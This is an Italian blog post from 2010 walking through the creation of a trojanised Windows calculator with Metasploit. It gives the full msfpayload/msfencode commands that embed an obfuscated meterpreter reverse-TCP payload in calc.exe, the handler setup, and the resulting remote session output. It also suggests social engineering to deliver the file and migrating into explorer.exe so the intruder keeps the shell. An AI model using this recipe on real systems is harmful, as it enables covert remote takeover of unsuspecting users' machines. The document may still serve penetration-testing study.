Metasploit - Codifica di un payload in un eseguibile funzionante
by admin on Jun.19, 2010, under Hacking, Sicurezza, Tools
Una feature piuttosto recente di Metasploit consiste nel codificare (msfencode) un paylod (msfpayload) in un eseguibile già esistente, che continui a funzionare esattamente come l’ originale.
Un semplice esempio utilizzando la calcolatrice di Windows (calc.exe):
La opzione specifica è -k, che sta per “keep template working” (in un nuovo thread)
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.10 R |./msfencode -t exe -x /root/calc.exe -k -o calcolator.exe -e x86/shikata_ga_nai -c 5 [*] x86/shikata_ga_nai succeeded with size 318 (iteration=1) [*] x86/shikata_ga_nai succeeded with size 345 (iteration=2) [*] x86/shikata_ga_nai succeeded with size 372 (iteration=3) [*] x86/shikata_ga_nai succeeded with size 399 (iteration=4) [*] x86/shikata_ga_nai succeeded with size 426 (iteration=5) msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.1.10 LHOST => 192.168.1.10 msf exploit(handler) > exploit
A questo punto è necessario trasferire in un modo qualsiasi (nel senso di una efficace operazione di social-engineering) l’eseguibile sulla macchina target, dove verrà mandato prima o poi in esecuzione.
È importante che l’handler lato server sia in funzione prima che l’eseguibile “trojan” venga mandato in esecuzione, pena il crash quasi immediato di quest’ultimo.
Quando il trojan viene mandato in esecuzione, la conseguenza è l’apertura di una sessione meterpreter sulla macchina target
[*] Started reverse handler on 192.168.1.10:4444 [*] Starting the payload handler... [*] Sending stage (748032 bytes) to 192.168.1.11 [*] Meterpreter session 1 opened (192.168.1.10:4444 -> 192.168.1.11:1056) at Sat Jun 19 17:53:41 +0200 2010
Ora l’utente ha un programma calcolatore funzionante e l’intruso la propria shell (e tutti sono contenti!).
meterpreter > getpid Current pid: 1596 meterpreter > ps Process list ============ PID Name Arch Session User Path --- ---- ---- ------- ---- ---- 0 [System Process] 4 System x86 0 [...] 1524 cmd.exe x86 0 XPHONEY\Administrator C:\WINDOWS\system32\cmd.exe 1652 explorer.exe x86 0 XPHONEY\Administrator C:\WINDOWS\Explorer.EXE 1596 calcolator.exe x86 0 XPHONEY\Administrator C:\Documents and Settings\All Users\Documenti\pippo\calcolator.exe meterpreter >
Dovrebbe essere chiaro all’attaccante che una volta ottenuto questo risultato occorrerà effettuare quanto prima una migrazione nello spazio di un nuovo processo, dato che così non fosse, una volta che l’utente della macchina abbia deciso di chiudere l’applicazione backdoor, perderebbe la propria shell.
meterpreter > getpid
Current pid: 1596
meterpreter > run migrate explorer.exe
[*] Current server process: calc_backdoor.exe (3360)
[*] Migrating to explorer.exe…
[*] Migrating into process ID 1592
[*] New server process: Explorer.EXE (1592)
meterpreter > getpid
Current pid: 1592
meterpreter >

